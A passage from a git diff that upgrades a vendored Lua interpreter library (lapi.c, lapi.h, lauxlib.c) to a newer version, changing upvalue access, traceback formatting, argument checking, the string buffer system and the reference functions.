obj2gco(f); return ""; } - case LUA_TLCL: { /* Lua closure */ + case LUA_VLCL: { /* Lua closure */ LClosure *f = clLvalue(fi); TString *name; Proto *p = f->p; - if (!(1 <= n && n <= p->sizeupvalues)) return NULL; - *val = f->upvals[n - 1]->v; + if (!(cast_uint(n) - 1u < cast_uint(p->sizeupvalues))) + return NULL; /* 'n' not in [1, p->sizeupvalues] */ + *val = f->upvals[n - 1]->v.p; if (owner) *owner = obj2gco(f->upvals[n - 1]); name = p->upvalues[n - 1].name; - return (name == NULL) ? "" : getstr(name); + return (name == NULL) ? "(no name)" : getstr(name); } default: return NULL; /* not a closure */ @@ -1221,9 +1387,9 @@ LUA_API const char *lua_getupvalue(lua_State *L, int funcindex, int n) { const char *name; TValue *val = NULL; /* to avoid warnings */ lua_lock(L); - name = aux_upvalue(index2addr(L, funcindex), n, &val, NULL); + name = aux_upvalue(index2value(L, funcindex), n, &val, NULL); if (name) { - setobj2s(L, L->top, val); + setobj2s(L, L->top.p, val); api_incr_top(L); } lua_unlock(L); @@ -1235,15 +1401,15 @@ LUA_API const char *lua_setupvalue(lua_State *L, int funcindex, int n) { const char *name; TValue *val = NULL; /* to avoid warnings */ GCObject *owner = NULL; /* to avoid warnings */ - StkId fi; + TValue *fi; lua_lock(L); - fi = index2addr(L, funcindex); + fi = index2value(L, funcindex); api_checknelems(L, 1); name = aux_upvalue(fi, n, &val, &owner); if (name) { - L->top--; - setobj(L, val, L->top); - luaC_barrier(L, owner, L->top); + L->top.p--; + setobj(L, val, s2v(L->top.p)); + luaC_barrier(L, owner, val); } lua_unlock(L); return name; @@ -1251,29 +1417,35 @@ LUA_API const char *lua_setupvalue(lua_State *L, int funcindex, int n) { static UpVal **getupvalref(lua_State *L, int fidx, int n, LClosure **pf) { + static const UpVal *const nullup = NULL; LClosure *f; - StkId fi = index2addr(L, fidx); + TValue *fi = index2value(L, fidx); api_check(L, ttisLclosure(fi), "Lua function expected"); f = clLvalue(fi); - api_check(L, (1 <= n && n <= f->p->sizeupvalues), "invalid upvalue index"); if (pf) *pf = f; - return &f->upvals[n - 1]; /* get its upvalue pointer */ + if (1 <= n && n <= f->p->sizeupvalues) + return &f->upvals[n - 1]; /* get its upvalue pointer */ + else + return (UpVal **)&nullup; } LUA_API void *lua_upvalueid(lua_State *L, int fidx, int n) { - StkId fi = index2addr(L, fidx); - switch (ttype(fi)) { - case LUA_TLCL: { /* lua closure */ + TValue *fi = index2value(L, fidx); + switch (ttypetag(fi)) { + case LUA_VLCL: { /* lua closure */ return *getupvalref(L, fidx, n, NULL); } - case LUA_TCCL: { /* C closure */ + case LUA_VCCL: { /* C closure */ CClosure *f = clCvalue(fi); - api_check(L, 1 <= n && n <= f->nupvalues, "invalid upvalue index"); - return &f->upvalue[n - 1]; - } + if (1 <= n && n <= f->nupvalues) + return &f->upvalue[n - 1]; + /* else */ + } /* FALLTHROUGH */ + case LUA_VLCF: + return NULL; /* light C functions have no upvalues */ default: { - api_check(L, 0, "closure expected"); + api_check(L, 0, "function expected"); return NULL; } } @@ -1285,7 +1457,9 @@ LUA_API void lua_upvaluejoin(lua_State *L, int fidx1, int n1, LClosure *f1; UpVal **up1 = getupvalref(L, fidx1, n1, &f1); UpVal **up2 = getupvalref(L, fidx2, n2, NULL); + api_check(L, *up1 != NULL && *up2 != NULL, "invalid upvalue index"); *up1 = *up2; - luaC_objbarrier(L, f1, *up2); + luaC_objbarrier(L, f1, *up1); } + diff --git a/client/deps/liblua/lapi.h b/client/deps/liblua/lapi.h index fcee6a8a6..a742427cd 100644 --- a/client/deps/liblua/lapi.h +++ b/client/deps/liblua/lapi.h @@ -1,5 +1,5 @@ /* -** $Id: lapi.h,v 2.7 2009/11/27 15:37:59 roberto Exp $ +** $Id: lapi.h $ ** Auxiliary functions from Lua API ** See Copyright Notice in lua.h */ @@ -11,14 +11,42 @@ #include "llimits.h" #include "lstate.h" -#define api_incr_top(L) {L->top++; api_check(L, L->top <= L->ci->top, \ - "stack overflow");} +/* Increments 'L->top.p', checking for stack overflows */ +#define api_incr_top(L) {L->top.p++; \ + api_check(L, L->top.p <= L->ci->top.p, \ + "stack overflow");} + + +/* +** If a call returns too many multiple returns, the callee may not have +** stack space to accommodate all results. In this case, this macro +** increases its stack space ('L->ci->top.p'). +*/ #define adjustresults(L,nres) \ - { if ((nres) == LUA_MULTRET && L->ci->top < L->top) L->ci->top = L->top; } + { if ((nres) <= LUA_MULTRET && L->ci->top.p < L->top.p) \ + L->ci->top.p = L->top.p; } -#define api_checknelems(L,n) api_check(L, (n) < (L->top - L->ci->func), \ - "not enough elements in the stack") +/* Ensure the stack has at least 'n' elements */ +#define api_checknelems(L,n) \ + api_check(L, (n) < (L->top.p - L->ci->func.p), \ + "not enough elements in the stack") + + +/* +** To reduce the overhead of returning from C functions, the presence of +** to-be-closed variables in these functions is coded in the CallInfo's +** field 'nresults', in a way that functions with no to-be-closed variables +** with zero, one, or "all" wanted results have no overhead. Functions +** with other number of wanted results, as well as functions with +** variables to be closed, have an extra check. +*/ + +#define hastocloseCfunc(n) ((n) < LUA_MULTRET) + +/* Map [-1, inf) (range of 'nresults') into (-inf, -2] */ +#define codeNresults(n) (-(n) - 3) +#define decodeNresults(n) (-(n) - 3) #endif diff --git a/client/deps/liblua/lauxlib.c b/client/deps/liblua/lauxlib.c index 28f687f10..716e75b55 100644 --- a/client/deps/liblua/lauxlib.c +++ b/client/deps/liblua/lauxlib.c @@ -1,9 +1,14 @@ /* -** $Id: lauxlib.c,v 1.248 2013/03/21 13:54:57 roberto Exp $ +** $Id: lauxlib.c $ ** Auxiliary functions for building Lua libraries ** See Copyright Notice in lua.h */ +#define lauxlib_c +#define LUA_LIB + +#include "lprefix.h" + #include #include @@ -12,18 +17,22 @@ #include -/* This file uses only the official API of Lua. +/* +** This file uses only the official API of Lua. ** Any function declared here could be written as an application function. */ -#define lauxlib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" +#if !defined(MAX_SIZET) +/* maximum value for size_t */ +#define MAX_SIZET ((size_t)(~(size_t)0)) +#endif + + /* ** {====================================================== ** Traceback @@ -31,14 +40,14 @@ */ -#define LEVELS1 12 /* size of the first part of the stack */ -#define LEVELS2 10 /* size of the second part of the stack */ +#define LEVELS1 10 /* size of the first part of the stack */ +#define LEVELS2 11 /* size of the second part of the stack */ /* -** search for 'objidx' in table at index -1. -** return 1 + string at top if find a good name. +** Search for 'objidx' in table at index -1. ('objidx' must be an +** absolute index.) Return 1 + string at top if it found a good name. */ static int findfield(lua_State *L, int objidx, int level) { if (level == 0 || !lua_istable(L, -1)) @@ -50,10 +59,10 @@ static int findfield(lua_State *L, int objidx, int level) { lua_pop(L, 1); /* remove value (but keep name) */ return 1; } else if (findfield(L, objidx, level - 1)) { /* try recursively */ - lua_remove(L, -2); /* remove table (but keep name) */ - lua_pushliteral(L, "."); - lua_insert(L, -2); /* place '.' between the two names */ - lua_concat(L, 3); + /* stack: lib_name, lib_table, field_name (top) */ + lua_pushliteral(L, "."); /* place '.' between the two names */ + lua_replace(L, -3); /* (in the slot occupied by table) */ + lua_concat(L, 3); /* lib_name.field_name */ return 1; } } @@ -63,13 +72,22 @@ static int findfield(lua_State *L, int objidx, int level) { } +/* +** Search for a name for a function in all loaded modules +*/ static int pushglobalfuncname(lua_State *L, lua_Debug *ar) { int top = lua_gettop(L); lua_getinfo(L, "f", ar); /* push function */ - lua_pushglobaltable(L); + lua_getfield(L, LUA_REGISTRYINDEX, LUA_LOADED_TABLE); + luaL_checkstack(L, 6, "not enough stack"); /* slots for 'findfield' */ if (findfield(L, top + 1, 2)) { - lua_copy(L, -1, top + 1); /* move name to proper place */ - lua_pop(L, 2); /* remove pushed values */ + const char *name = lua_tostring(L, -1); + if (strncmp(name, LUA_GNAME ".", 3) == 0) { /* name start with '_G.'? */ + lua_pushstring(L, name + 3); /* push name without prefix */ + lua_remove(L, -2); /* remove original name */ + } + lua_copy(L, -1, top + 1); /* copy name to proper place */ + lua_settop(L, top + 1); /* remove table "loaded" and name copy */ return 1; } else { lua_settop(L, top); /* remove function and global table */ @@ -79,22 +97,21 @@ static int pushglobalfuncname(lua_State *L, lua_Debug *ar) { static void pushfuncname(lua_State *L, lua_Debug *ar) { - if (*ar->namewhat != '\0') /* is there a name? */ - lua_pushfstring(L, "function " LUA_QS, ar->name); + if (pushglobalfuncname(L, ar)) { /* try first a global name */ + lua_pushfstring(L, "function '%s'", lua_tostring(L, -1)); + lua_remove(L, -2); /* remove name */ + } else if (*ar->namewhat != '\0') /* is there a name from code? */ + lua_pushfstring(L, "%s '%s'", ar->namewhat, ar->name); /* use it */ else if (*ar->what == 'm') /* main? */ lua_pushliteral(L, "main chunk"); - else if (*ar->what == 'C') { - if (pushglobalfuncname(L, ar)) { - lua_pushfstring(L, "function " LUA_QS, lua_tostring(L, -1)); - lua_remove(L, -2); /* remove name */ - } else - lua_pushliteral(L, "?"); - } else + else if (*ar->what != 'C') /* for Lua functions, use */ lua_pushfstring(L, "function <%s:%d>", ar->short_src, ar->linedefined); + else /* nothing left... */ + lua_pushliteral(L, "?"); } -static int countlevels(lua_State *L) { +static int lastlevel(lua_State *L) { lua_Debug ar; int li = 1, le = 1; /* find an upper bound */ @@ -111,29 +128,36 @@ static int countlevels(lua_State *L) { LUALIB_API void luaL_traceback(lua_State *L, lua_State *L1, const char *msg, int level) { + luaL_Buffer b; lua_Debug ar; - int top = lua_gettop(L); - int numlevels = countlevels(L1); - int mark = (numlevels > LEVELS1 + LEVELS2) ? LEVELS1 : 0; - if (msg) lua_pushfstring(L, "%s\n", msg); - lua_pushliteral(L, "stack traceback:"); + int last = lastlevel(L1); + int limit2show = (last - level > LEVELS1 + LEVELS2) ? LEVELS1 : -1; + luaL_buffinit(L, &b); + if (msg) { + luaL_addstring(&b, msg); + luaL_addchar(&b, '\n'); + } + luaL_addstring(&b, "stack traceback:"); while (lua_getstack(L1, level++, &ar)) { - if (level == mark) { /* too many levels? */ - lua_pushliteral(L, "\n\t..."); /* add a '...' */ - level = numlevels - LEVELS2; /* and skip to last ones */ + if (limit2show-- == 0) { /* too many levels? */ + int n = last - level - LEVELS2 + 1; /* number of levels to skip */ + lua_pushfstring(L, "\n\t...\t(skipping %d levels)", n); + luaL_addvalue(&b); /* add warning about skip */ + level += n; /* and skip to last levels */ } else { lua_getinfo(L1, "Slnt", &ar); - lua_pushfstring(L, "\n\t%s:", ar.short_src); - if (ar.currentline > 0) - lua_pushfstring(L, "%d:", ar.currentline); - lua_pushliteral(L, " in "); + if (ar.currentline <= 0) + lua_pushfstring(L, "\n\t%s: in ", ar.short_src); + else + lua_pushfstring(L, "\n\t%s:%d: in ", ar.short_src, ar.currentline); + luaL_addvalue(&b); pushfuncname(L, &ar); + luaL_addvalue(&b); if (ar.istailcall) - lua_pushliteral(L, "\n\t(...tail calls...)"); - lua_concat(L, lua_gettop(L) - top); + luaL_addstring(&b, "\n\t(...tail calls...)"); } } - lua_concat(L, lua_gettop(L) - top); + luaL_pushresult(&b); } /* }====================================================== */ @@ -145,36 +169,47 @@ LUALIB_API void luaL_traceback(lua_State *L, lua_State *L1, ** ======================================================= */ -LUALIB_API int luaL_argerror(lua_State *L, int narg, const char *extramsg) { +LUALIB_API int luaL_argerror(lua_State *L, int arg, const char *extramsg) { lua_Debug ar; if (!lua_getstack(L, 0, &ar)) /* no stack frame? */ - return luaL_error(L, "bad argument #%d (%s)", narg, extramsg); + return luaL_error(L, "bad argument #%d (%s)", arg, extramsg); lua_getinfo(L, "n", &ar); if (strcmp(ar.namewhat, "method") == 0) { - narg--; /* do not count `self' */ - if (narg == 0) /* error is in the self argument itself? */ - return luaL_error(L, "calling " LUA_QS " on bad self (%s)", + arg--; /* do not count 'self' */ + if (arg == 0) /* error is in the self argument itself? */ + return luaL_error(L, "calling '%s' on bad self (%s)", ar.name, extramsg); } if (ar.name == NULL) ar.name = (pushglobalfuncname(L, &ar)) ? lua_tostring(L, -1) : "?"; - return luaL_error(L, "bad argument #%d to " LUA_QS " (%s)", - narg, ar.name, extramsg); + return luaL_error(L, "bad argument #%d to '%s' (%s)", + arg, ar.name, extramsg); } -static int typeerror(lua_State *L, int narg, const char *tname) { - const char *msg = lua_pushfstring(L, "%s expected, got %s", - tname, luaL_typename(L, narg)); - return luaL_argerror(L, narg, msg); +LUALIB_API int luaL_typeerror(lua_State *L, int arg, const char *tname) { + const char *msg; + const char *typearg; /* name for the type of the actual argument */ + if (luaL_getmetafield(L, arg, "__name") == LUA_TSTRING) + typearg = lua_tostring(L, -1); /* use the given type name */ + else if (lua_type(L, arg) == LUA_TLIGHTUSERDATA) + typearg = "light userdata"; /* special name for messages */ + else + typearg = luaL_typename(L, arg); /* standard name */ + msg = lua_pushfstring(L, "%s expected, got %s", tname, typearg); + return luaL_argerror(L, arg, msg); } -static void tag_error(lua_State *L, int narg, int tag) { - typeerror(L, narg, lua_typename(L, tag)); +static void tag_error(lua_State *L, int arg, int tag) { + luaL_typeerror(L, arg, lua_typename(L, tag)); } +/* +** The use of 'lua_pushfstring' ensures this function does not +** need reserved stack space when called. +*/ LUALIB_API void luaL_where(lua_State *L, int level) { lua_Debug ar; if (lua_getstack(L, level, &ar)) { /* check function at level */ @@ -184,10 +219,15 @@ LUALIB_API void luaL_where(lua_State *L, int level) { return; } } - lua_pushliteral(L, ""); /* else, no information available... */ + lua_pushfstring(L, ""); /* else, no information available... */ } +/* +** Again, the use of 'lua_pushvfstring' ensures this function does +** not need reserved stack space when called. (At worst, it generates +** an error with "stack overflow" instead of the given message.) +*/ LUALIB_API int luaL_error(lua_State *L, const char *fmt, ...) { va_list argp; va_start(argp, fmt); @@ -205,18 +245,20 @@ LUALIB_API int luaL_fileresult(lua_State *L, int stat, const char *fname) { lua_pushboolean(L, 1); return 1; } else { - lua_pushnil(L); + const char *msg; + luaL_pushfail(L); + msg = (en != 0) ? strerror(en) : "(no extra info)"; if (fname) - lua_pushfstring(L, "%s: %s", fname, strerror(en)); + lua_pushfstring(L, "%s: %s", fname, msg); else - lua_pushstring(L, strerror(en)); + lua_pushstring(L, msg); lua_pushinteger(L, en); return 3; } } -#if !defined(inspectstat) /* { */ +#if !defined(l_inspectstat) /* { */ #if defined(LUA_USE_POSIX) @@ -225,38 +267,39 @@ LUALIB_API int luaL_fileresult(lua_State *L, int stat, const char *fname) { /* ** use appropriate macros to interpret 'pclose' return status */ -#define inspectstat(stat,what) \ - if (WIFEXITED(stat)) { stat = WEXITSTATUS(stat); } \ - else if (WIFSIGNALED(stat)) { stat = WTERMSIG(stat); what = "signal"; } +#define l_inspectstat(stat,what) \ + if (WIFEXITED(stat)) { stat = WEXITSTATUS(stat); } \ + else if (WIFSIGNALED(stat)) { stat = WTERMSIG(stat); what = "signal"; } #else -#define inspectstat(stat,what) /* no op */ +#define l_inspectstat(stat,what) /* no op */ #endif -#endif /* } */ +#endif /* } */ LUALIB_API int luaL_execresult(lua_State *L, int stat) { - const char *what = "exit"; /* type of termination */ - if (stat == -1) /* error? */ + if (stat != 0 && errno != 0) /* error with an 'errno'? */ return luaL_fileresult(L, 0, NULL); else { - inspectstat(stat, what); /* interpret result */ + const char *what = "exit"; /* type of termination */ + l_inspectstat(stat, what); /* interpret result */ if (*what == 'e' && stat == 0) /* successful termination? */ lua_pushboolean(L, 1); else - lua_pushnil(L); + luaL_pushfail(L); lua_pushstring(L, what); lua_pushinteger(L, stat); - return 3; /* return true/nil,what,code */ + return 3; /* return true/fail,what,code */ } } /* }====================================================== */ + /* ** {====================================================== ** Userdata's metatable manipulation @@ -264,11 +307,12 @@ LUALIB_API int luaL_execresult(lua_State *L, int stat) { */ LUALIB_API int luaL_newmetatable(lua_State *L, const char *tname) { - luaL_getmetatable(L, tname); /* try to get metatable */ - if (!lua_isnil(L, -1)) /* name already in use? */ + if (luaL_getmetatable(L, tname) != LUA_TNIL) /* name already in use? */ return 0; /* leave previous value on top, but return 0 */ lua_pop(L, 1); - lua_newtable(L); /* create metatable */ + lua_createtable(L, 0, 2); /* create metatable */ + lua_pushstring(L, tname); + lua_setfield(L, -2, "__name"); /* metatable.__name = tname */ lua_pushvalue(L, -1); lua_setfield(L, LUA_REGISTRYINDEX, tname); /* registry.name = metatable */ return 1; @@ -298,7 +342,7 @@ LUALIB_API void *luaL_testudata(lua_State *L, int ud, const char *tname) { LUALIB_API void *luaL_checkudata(lua_State *L, int ud, const char *tname) { void *p = luaL_testudata(L, ud, tname); - if (p == NULL) typeerror(L, ud, tname); + luaL_argexpected(L, p != NULL, ud, tname); return p; } @@ -311,23 +355,28 @@ LUALIB_API void *luaL_checkudata(lua_State *L, int ud, const char *tname) { ** ======================================================= */ -LUALIB_API int luaL_checkoption(lua_State *L, int narg, const char *def, +LUALIB_API int luaL_checkoption(lua_State *L, int arg, const char *def, const char *const lst[]) { - const char *name = (def) ? luaL_optstring(L, narg, def) : - luaL_checkstring(L, narg); + const char *name = (def) ? luaL_optstring(L, arg, def) : + luaL_checkstring(L, arg); int i; for (i = 0; lst[i]; i++) if (strcmp(lst[i], name) == 0) return i; - return luaL_argerror(L, narg, - lua_pushfstring(L, "invalid option " LUA_QS, name)); + return luaL_argerror(L, arg, + lua_pushfstring(L, "invalid option '%s'", name)); } +/* +** Ensures the stack has at least 'space' extra slots, raising an error +** if it cannot fulfill the request. (The error handling needs a few +** extra slots to format the error message. In case of an error without +** this extra space, Lua will generate the same 'stack overflow' error, +** but without 'msg'.) +*/ LUALIB_API void luaL_checkstack(lua_State *L, int space, const char *msg) { - /* keep some extra space to run error routines, if needed */ - const int extra = LUA_MINSTACK; - if (!lua_checkstack(L, space + extra)) { + if (l_unlikely(!lua_checkstack(L, space))) { if (msg) luaL_error(L, "stack overflow (%s)", msg); else @@ -336,76 +385,70 @@ LUALIB_API void luaL_checkstack(lua_State *L, int space, const char *msg) { } -LUALIB_API void luaL_checktype(lua_State *L, int narg, int t) { - if (lua_type(L, narg) != t) - tag_error(L, narg, t); +LUALIB_API void luaL_checktype(lua_State *L, int arg, int t) { + if (l_unlikely(lua_type(L, arg) != t)) + tag_error(L, arg, t); } -LUALIB_API void luaL_checkany(lua_State *L, int narg) { - if (lua_type(L, narg) == LUA_TNONE) - luaL_argerror(L, narg, "value expected"); +LUALIB_API void luaL_checkany(lua_State *L, int arg) { + if (l_unlikely(lua_type(L, arg) == LUA_TNONE)) + luaL_argerror(L, arg, "value expected"); } -LUALIB_API const char *luaL_checklstring(lua_State *L, int narg, size_t *len) { - const char *s = lua_tolstring(L, narg, len); - if (!s) tag_error(L, narg, LUA_TSTRING); +LUALIB_API const char *luaL_checklstring(lua_State *L, int arg, size_t *len) { + const char *s = lua_tolstring(L, arg, len); + if (l_unlikely(!s)) tag_error(L, arg, LUA_TSTRING); return s; } -LUALIB_API const char *luaL_optlstring(lua_State *L, int narg, +LUALIB_API const char *luaL_optlstring(lua_State *L, int arg, const char *def, size_t *len) { - if (lua_isnoneornil(L, narg)) { + if (lua_isnoneornil(L, arg)) { if (len) *len = (def ? strlen(def) : 0); return def; - } else return luaL_checklstring(L, narg, len); + } else return luaL_checklstring(L, arg, len); } -LUALIB_API lua_Number luaL_checknumber(lua_State *L, int narg) { +LUALIB_API lua_Number luaL_checknumber(lua_State *L, int arg) { int isnum; - lua_Number d = lua_tonumberx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); + lua_Number d = lua_tonumberx(L, arg, &isnum); + if (l_unlikely(!isnum)) + tag_error(L, arg, LUA_TNUMBER); return d; } -LUALIB_API lua_Number luaL_optnumber(lua_State *L, int narg, lua_Number def) { - return luaL_opt(L, luaL_checknumber, narg, def); +LUALIB_API lua_Number luaL_optnumber(lua_State *L, int arg, lua_Number def) { + return luaL_opt(L, luaL_checknumber, arg, def); } -LUALIB_API lua_Integer luaL_checkinteger(lua_State *L, int narg) { +static void interror(lua_State *L, int arg) { + if (lua_isnumber(L, arg)) + luaL_argerror(L, arg, "number has no integer representation"); + else + tag_error(L, arg, LUA_TNUMBER); +} + + +LUALIB_API lua_Integer luaL_checkinteger(lua_State *L, int arg) { int isnum; - lua_Integer d = lua_tointegerx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); + lua_Integer d = lua_tointegerx(L, arg, &isnum); + if (l_unlikely(!isnum)) { + interror(L, arg); + } return d; } -LUALIB_API lua_Unsigned luaL_checkunsigned(lua_State *L, int narg) { - int isnum; - lua_Unsigned d = lua_tounsignedx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); - return d; -} - - -LUALIB_API lua_Integer luaL_optinteger(lua_State *L, int narg, +LUALIB_API lua_Integer luaL_optinteger(lua_State *L, int arg, lua_Integer def) { - return luaL_opt(L, luaL_checkinteger, narg, def); -} - - -LUALIB_API lua_Unsigned luaL_optunsigned(lua_State *L, int narg, - lua_Unsigned def) { - return luaL_opt(L, luaL_checkunsigned, narg, def); + return luaL_opt(L, luaL_checkinteger, arg, def); } /* }====================================================== */ @@ -417,42 +460,126 @@ LUALIB_API lua_Unsigned luaL_optunsigned(lua_State *L, int narg, ** ======================================================= */ +/* userdata to box arbitrary data */ +typedef struct UBox { + void *box; + size_t bsize; +} UBox; + + +static void *resizebox(lua_State *L, int idx, size_t newsize) { + void *ud; + lua_Alloc allocf = lua_getallocf(L, &ud); + UBox *box = (UBox *)lua_touserdata(L, idx); + void *temp = allocf(ud, box->box, box->bsize, newsize); + if (l_unlikely(temp == NULL && newsize > 0)) { /* allocation error? */ + lua_pushliteral(L, "not enough memory"); + lua_error(L); /* raise a memory error */ + } + box->box = temp; + box->bsize = newsize; + return temp; +} + + +static int boxgc(lua_State *L) { + resizebox(L, 1, 0); + return 0; +} + + +static const luaL_Reg boxmt[] = { /* box metamethods */ + {"__gc", boxgc}, + {"__close", boxgc}, + {NULL, NULL} +}; + + +static void newbox(lua_State *L) { + UBox *box = (UBox *)lua_newuserdatauv(L, sizeof(UBox), 0); + box->box = NULL; + box->bsize = 0; + if (luaL_newmetatable(L, "_UBOX*")) /* creating metatable? */ + luaL_setfuncs(L, boxmt, 0); /* set its metamethods */ + lua_setmetatable(L, -2); +} + + /* ** check whether buffer is using a userdata on the stack as a temporary ** buffer */ -#define buffonstack(B) ((B)->b != (B)->initb) +#define buffonstack(B) ((B)->b != (B)->init.b) +/* +** Whenever buffer is accessed, slot 'idx' must either be a box (which +** cannot be NULL) or it is a placeholder for the buffer. +*/ +#define checkbufferlevel(B,idx) \ + lua_assert(buffonstack(B) ? lua_touserdata(B->L, idx) != NULL \ + : lua_touserdata(B->L, idx) == (void*)B) + + +/* +** Compute new size for buffer 'B', enough to accommodate extra 'sz' +** bytes. (The test for "not big enough" also gets the case when the +** computation of 'newsize' overflows.) +*/ +static size_t newbuffsize(luaL_Buffer *B, size_t sz) { + size_t newsize = (B->size / 2) * 3; /* buffer size * 1.5 */ + if (l_unlikely(MAX_SIZET - sz < B->n)) /* overflow in (B->n + sz)? */ + return luaL_error(B->L, "buffer too large"); + if (newsize < B->n + sz) /* not big enough? */ + newsize = B->n + sz; + return newsize; +} + + +/* +** Returns a pointer to a free area with at least 'sz' bytes in buffer +** 'B'. 'boxidx' is the relative position in the stack where is the +** buffer's box or its placeholder. +*/ +static char *prepbuffsize(luaL_Buffer *B, size_t sz, int boxidx) { + checkbufferlevel(B, boxidx); + if (B->size - B->n >= sz) /* enough space? */ + return B->b + B->n; + else { + lua_State *L = B->L; + char *newbuff; + size_t newsize = newbuffsize(B, sz); + /* create larger buffer */ + if (buffonstack(B)) /* buffer already has a box? */ + newbuff = (char *)resizebox(L, boxidx, newsize); /* resize it */ + else { /* no box yet */ + lua_remove(L, boxidx); /* remove placeholder */ + newbox(L); /* create a new box */ + lua_insert(L, boxidx); /* move box to its intended position */ + lua_toclose(L, boxidx); + newbuff = (char *)resizebox(L, boxidx, newsize); + memcpy(newbuff, B->b, B->n * sizeof(char)); /* copy original content */ + } + B->b = newbuff; + B->size = newsize; + return newbuff + B->n; + } +} + /* ** returns a pointer to a free area with at least 'sz' bytes */ LUALIB_API char *luaL_prepbuffsize(luaL_Buffer *B, size_t sz) { - lua_State *L = B->L; - if (B->size - B->n < sz) { /* not enough space? */ - char *newbuff; - size_t newsize = B->size * 2; /* double buffer size */ - if (newsize - B->n < sz) /* not big enough? */ - newsize = B->n + sz; - if (newsize < B->n || newsize - B->n < sz) - luaL_error(L, "buffer too large"); - /* create larger buffer */ - newbuff = (char *)lua_newuserdata(L, newsize * sizeof(char)); - /* move content to new buffer */ - memcpy(newbuff, B->b, B->n * sizeof(char)); - if (buffonstack(B)) - lua_remove(L, -2); /* remove old buffer */ - B->b = newbuff; - B->size = newsize; - } - return &B->b[B->n]; + return prepbuffsize(B, sz, -1); } LUALIB_API void luaL_addlstring(luaL_Buffer *B, const char *s, size_t l) { - char *b = luaL_prepbuffsize(B, l); - memcpy(b, s, l * sizeof(char)); - luaL_addsize(B, l); + if (l > 0) { /* avoid 'memcpy' when 's' can be NULL */ + char *b = prepbuffsize(B, l, -1); + memcpy(b, s, l * sizeof(char)); + luaL_addsize(B, l); + } } @@ -463,9 +590,11 @@ LUALIB_API void luaL_addstring(luaL_Buffer *B, const char *s) { LUALIB_API void luaL_pushresult(luaL_Buffer *B) { lua_State *L = B->L; + checkbufferlevel(B, -1); lua_pushlstring(L, B->b, B->n); if (buffonstack(B)) - lua_remove(L, -2); /* remove old buffer */ + lua_closeslot(L, -2); /* close the box */ + lua_remove(L, -2); /* remove box or placeholder from the stack */ } @@ -475,28 +604,38 @@ LUALIB_API void luaL_pushresultsize(luaL_Buffer *B, size_t sz) { } +/* +** 'luaL_addvalue' is the only function in the Buffer system where the +** box (if existent) is not on the top of the stack. So, instead of +** calling 'luaL_addlstring', it replicates the code using -2 as the +** last argument to 'prepbuffsize', signaling that the box is (or will +** be) below the string being added to the buffer. (Box creation can +** trigger an emergency GC, so we should not remove the string from the +** stack before we have the space guaranteed.) +*/ LUALIB_API void luaL_addvalue(luaL_Buffer *B) { lua_State *L = B->L; - size_t l; - const char *s = lua_tolstring(L, -1, &l); - if (buffonstack(B)) - lua_insert(L, -2); /* put value below buffer */ - luaL_addlstring(B, s, l); - lua_remove(L, (buffonstack(B)) ? -2 : -1); /* remove value */ + size_t len; + const char *s = lua_tolstring(L, -1, &len); + char *b = prepbuffsize(B, len, -2); + memcpy(b, s, len * sizeof(char)); + luaL_addsize(B, len); + lua_pop(L, 1); /* pop string */ } LUALIB_API void luaL_buffinit(lua_State *L, luaL_Buffer *B) { B->L = L; - B->b = B->initb; + B->b = B->init.b; B->n = 0; B->size = LUAL_BUFFERSIZE; + lua_pushlightuserdata(L, (void *)B); /* push placeholder */ } LUALIB_API char *luaL_buffinitsize(lua_State *L, luaL_Buffer *B, size_t sz) { luaL_buffinit(L, B); - return luaL_prepbuffsize(B, sz); + return prepbuffsize(B, sz, -1); } /* }====================================================== */ @@ -508,20 +647,30 @@ LUALIB_API char *luaL_buffinitsize(lua_State *L, luaL_Buffer *B, size_t sz) { ** ======================================================= */ -/* index of free-list header */ -#define freelist 0 - +/* index of free-list header (after the predefined values) */ +#define freelist (LUA_RIDX_LAST + 1) +/* +** The previously freed references form a linked list: +** t[freelist] is the index of a first free index, or zero if list is +** empty; t[t[freelist]] is the index of the second element; etc. +*/ LUALIB_API int luaL_ref(lua_State *L, int t) { int ref; if (lua_isnil(L, -1)) { lua_pop(L, 1); /* remove from stack */ - return LUA_REFNIL; /* `nil' has a unique fixed reference */ + return LUA_REFNIL; /* 'nil' has a unique fixed reference */ } t = lua_absindex(L, t); - lua_rawgeti(L, t, freelist); /* get first free element */ - ref = (int)lua_tointeger(L, -1); /* ref = t[freelist] */ - lua_pop(L, 1); /* remove it from stack */ + if (lua_rawgeti(L, t, freelist) == LUA_TNIL) { /* first access? */ + ref = 0; /* list is empty */ + lua_pushinteger(L, 0); /* initialize as an empty list */ + lua_rawseti(L, t, freelist); /* ref = t[freelist] = 0 */ + } else { /* already initialized */ + lua_assert(lua_isinteger(L, -1)); + ref = (int)lua_tointeger(L, -1); /* ref = t[freelist] */ + } + lua_pop(L, 1); /* remove element from stack */ if (ref != 0) { /* any free element? */ lua_rawgeti(L, t, ref); /* remove it from list */ lua_rawseti(L, t, freelist); /* (t[freelist] = t[ref]) */ @@ -536,6 +685,7 @@ LUALIB_API void luaL_unref(lua_State *L, int t, int ref) { if (ref >= 0) { t = lua_absindex(L, t); lua_rawgeti(L, t, freelist); + lua_assert(lua_isinteger(L, -1)); lua_rawseti(L, t, ref); /* t[ref] = t[freelist] */ lua_pushinteger(L, ref); lua_rawseti(L, t, freelist); /* t[freelist] = ref */ @@ -554,7 +704,7 @@ LUALIB_API void luaL_unref(lua_State *L, int t, int ref) { typedef struct LoadF { int n; /* number of pre-read characters */ FILE *f; /* file being read */ - char buff[LUAL_BUFFERSIZE]; /* area for reading file */ + char buff[BUFSIZ]; /* area for reading file */ } LoadF; @@ -576,25 +726,29 @@ static const char *getF(lua_State *L, void *ud, size_t *size) { static int errfile(lua_State *L, const char *what, int fnameindex) { - const char *serr = strerror(errno); + int err = errno; const char *filename = lua_tostring(L, fnameindex) + 1; - lua_pushfstring(L, "cannot %s %s: %s", what, filename, serr); + if (err != 0) + lua_pushfstring(L, "cannot %s %s: %s", what, filename, strerror(err)); + else + lua_pushfstring(L, "cannot %s %s", what, filename); lua_remove(L, fnameindex); return LUA_ERRFILE; } -static int skipBOM(LoadF *lf) { - const char *p = "\xEF\xBB\xBF"; /* Utf8 BOM mark */ - int c; - lf->n = 0; - do { - c = getc(lf->f); - if (c == EOF || c != *(const unsigned char *)p++) return c; - lf->buff[lf->n++] = c; /* to be read by the 